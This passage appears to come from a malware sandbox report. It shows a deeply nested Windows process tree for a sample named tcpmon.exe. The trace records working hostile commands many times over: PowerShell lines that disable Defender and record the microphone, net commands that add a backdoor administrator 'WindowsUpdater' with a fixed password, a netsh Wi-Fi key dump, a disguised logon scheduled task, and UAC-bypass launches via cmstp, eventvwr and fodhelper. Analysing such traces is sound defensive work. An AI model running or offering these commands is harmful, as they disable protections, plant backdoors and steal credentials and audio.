        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        36⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7932
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        36⤵
        Creates a new local user account
        
        PID:9120
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        37⤵
        Creates a new local user account
        
        PID:4872
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        36⤵
        
        PID:5020
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        37⤵
        
        PID:13476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        34⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10112
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        34⤵
        Creates a new local user account
        
        PID:14828
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        35⤵
        Creates a new local user account
        
        PID:15232
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        34⤵
        
        PID:14560
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        35⤵
        
        PID:10628
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        34⤵
        
        PID:14988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        32⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13436
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        32⤵
        Creates a new local user account
        
        PID:10544
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        33⤵
        Creates a new local user account
        
        PID:1476
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        32⤵
        
        PID:11588
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        33⤵
        
        PID:8612
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        32⤵
        
        PID:4296
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        32⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224578907991.wav')"
        32⤵
        
        PID:2900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        30⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8232
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        30⤵
        Creates a new local user account
        
        PID:13564
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        31⤵
        Creates a new local user account
        
        PID:1100
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        30⤵
        
        PID:6808
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        31⤵
        
        PID:12704
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        30⤵
        
        PID:11644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224358540271.wav')"
        30⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11052
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        30⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        28⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13164
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        28⤵
        Creates a new local user account
        
        PID:14120
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        29⤵
        
        PID:9328
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        28⤵
        
        PID:11136
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        29⤵
        
        PID:13956
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        28⤵
        
        PID:7944
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224315839542.wav')"
        28⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15032
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        28⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15192
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        26⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13068
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        26⤵
        Creates a new local user account
        
        PID:4956
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        27⤵
        Creates a new local user account
        
        PID:11644
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        26⤵
        
        PID:10632
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        27⤵
        
        PID:10012
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        26⤵
        
        PID:13248
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        26⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224262646389.wav')"
        26⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        24⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12132
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        24⤵
        Creates a new local user account
        
        PID:12544
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        25⤵
        Creates a new local user account
        
        PID:4392
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        24⤵
        
        PID:13276
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        25⤵
        
        PID:12504
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        24⤵
        
        PID:12416
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        24⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224072934731.wav')"
        24⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11216
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:8728
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:5340
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:3144
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:11492
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:13084
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        22⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274224071647465.wav')"
        22⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13520
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10888
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:11336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:11888
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:11860
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:10408
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:8680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223902288402.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7800
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9444
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:9816
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:10616
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:10712
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:11204
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:11000
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10312
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223863764748.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13016
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8948
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:9624
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:10116
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:5076
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:9728
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:11432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223788627273.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12396
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7416
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:8548
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:3124
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:7956
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:8204
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:9080
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223742816425.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7332
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:7344
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:3824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:1084
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:9772
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223658002872.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11896
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7096
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:7072
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        
        PID:6844
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:6640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:7056
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:8316
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223598197750.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6016
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6632
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        
        PID:6828
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:6976
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:6584
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8000
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223527102009.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2860
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2904
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:2868
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:4896
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:2376
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6336
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:7000
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:8836
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223442520842.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4144
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:2220
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:1948
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:5192
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:1212
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:3156
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:8784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223442329476.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4808
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:3804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3728
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:3928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:1432
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:7136
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:8812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639274223442416485.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9000

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:5564
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6080
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\12400860-c2a7-4853-a331-72f9ca214bef.inf
  2⤵
  PID:5076
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:4196
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:6044
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2140
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:5248
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1116
